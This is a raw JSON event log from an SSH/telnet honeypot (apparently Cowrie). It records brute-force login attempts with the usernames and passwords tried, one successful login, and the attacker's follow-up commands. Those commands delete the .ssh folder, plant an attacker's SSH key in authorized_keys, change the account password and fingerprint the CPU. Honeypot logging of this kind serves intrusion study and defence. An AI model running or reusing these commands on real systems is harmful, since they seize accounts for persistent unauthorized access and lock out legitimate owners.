{"eventid":"cowrie.session.closed","duration":12.323923349380493,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:15:02.970401Z","src_ip":"123.165.85.93","session":"9d62cb83cc6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.7.136.106","src_port":55844,"dst_ip":"159.203.135.109","dst_port":22,"session":"da63512684c2","protocol":"ssh","message":"New connection: 50.7.136.106:55844 (159.203.135.109:22) [session: da63512684c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:16:50.802232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:16:50.806948Z","src_ip":"50.7.136.106","session":"da63512684c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:16:50.889217Z","src_ip":"50.7.136.106","session":"da63512684c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"curl","password":"welltech12","message":"login attempt [curl/welltech12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:16:51.135666Z","src_ip":"50.7.136.106","session":"da63512684c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:16:52.220186Z","src_ip":"50.7.136.106","session":"da63512684c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.119.75.60","src_port":42432,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0f3a1f1f8ac","protocol":"telnet","message":"New connection: 20.119.75.60:42432 (10.17.0.5:23) [session: a0f3a1f1f8ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:17:01.803573Z"}
{"eventid":"cowrie.session.closed","duration":10.029741048812866,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:17:11.833187Z","src_ip":"20.119.75.60","session":"a0f3a1f1f8ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.119.75.60","src_port":53862,"dst_ip":"10.17.0.5","dst_port":23,"session":"6854125b830f","protocol":"telnet","message":"New connection: 20.119.75.60:53862 (10.17.0.5:23) [session: 6854125b830f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:17:11.839036Z"}
{"eventid":"cowrie.session.closed","duration":0.030144691467285156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:17:11.869073Z","src_ip":"20.119.75.60","session":"6854125b830f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":45072,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a5d21c3299a","protocol":"ssh","message":"New connection: 201.77.124.248:45072 (159.203.135.109:22) [session: 5a5d21c3299a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:18:00.212029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:18:00.217551Z","src_ip":"201.77.124.248","session":"5a5d21c3299a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:18:00.349632Z","src_ip":"201.77.124.248","session":"5a5d21c3299a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456","message":"login attempt [root/456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:18:00.910764Z","src_ip":"201.77.124.248","session":"5a5d21c3299a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:18:02.107809Z","src_ip":"201.77.124.248","session":"5a5d21c3299a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":37351,"dst_ip":"159.203.135.109","dst_port":22,"session":"62f4400810e2","protocol":"ssh","message":"New connection: 201.77.124.248:37351 (159.203.135.109:22) [session: 62f4400810e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:37.532084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:37.536089Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:37.667674Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123!@#","message":"login attempt [admin/admin123!@#] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:38.223954Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:38.523556Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:38.526912Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:38.530812Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:38.794609Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:38.969225Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:38.972474Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:39.108901Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:39.112681Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":40865,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3bc31afbb09","protocol":"ssh","message":"New connection: 201.77.124.248:40865 (159.203.135.109:22) [session: b3bc31afbb09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:39.236957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:39.242745Z","src_ip":"201.77.124.248","session":"b3bc31afbb09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:39.375431Z","src_ip":"201.77.124.248","session":"b3bc31afbb09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:39.931869Z","src_ip":"201.77.124.248","session":"b3bc31afbb09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:41.067405Z","src_ip":"201.77.124.248","session":"b3bc31afbb09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.77.124.248","src_port":43574,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9a25e874319","protocol":"ssh","message":"New connection: 201.77.124.248:43574 (159.203.135.109:22) [session: c9a25e874319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:41.195675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:41.204318Z","src_ip":"201.77.124.248","session":"c9a25e874319","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:41.336790Z","src_ip":"201.77.124.248","session":"c9a25e874319","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:41.891181Z","src_ip":"201.77.124.248","session":"c9a25e874319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:43.025967Z","src_ip":"201.77.124.248","session":"c9a25e874319","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:43.263776Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:43.267811Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:43.533359Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:43.713946Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin123!@#\\nnETu8X5PueGf\\nnETu8X5PueGf\"|passwd|bash","message":"CMD: echo -e \"admin123!@#\\nnETu8X5PueGf\\nnETu8X5PueGf\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:43.717332Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:43.721172Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:43.724941Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0b7138bccb1a36a79f20aef43bc41685b7475d5fe996b76577b10d7dc8dbb91d","size":32,"shasum":"0b7138bccb1a36a79f20aef43bc41685b7475d5fe996b76577b10d7dc8dbb91d","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/0b7138bccb1a36a79f20aef43bc41685b7475d5fe996b76577b10d7dc8dbb91d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:43.988598Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:44.163379Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin123!@#\\nnETu8X5PueGf\\nnETu8X5PueGf\\n\"|passwd","message":"CMD: echo \"admin123!@#\\nnETu8X5PueGf\\nnETu8X5PueGf\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:44.166790Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/637057b30e38261fb581c6c6cb1373be6c3288d4d198bd98a1acb6ab150c5f6e","size":25,"shasum":"637057b30e38261fb581c6c6cb1373be6c3288d4d198bd98a1acb6ab150c5f6e","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/637057b30e38261fb581c6c6cb1373be6c3288d4d198bd98a1acb6ab150c5f6e after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:44.430158Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:44.599614Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:44.602355Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
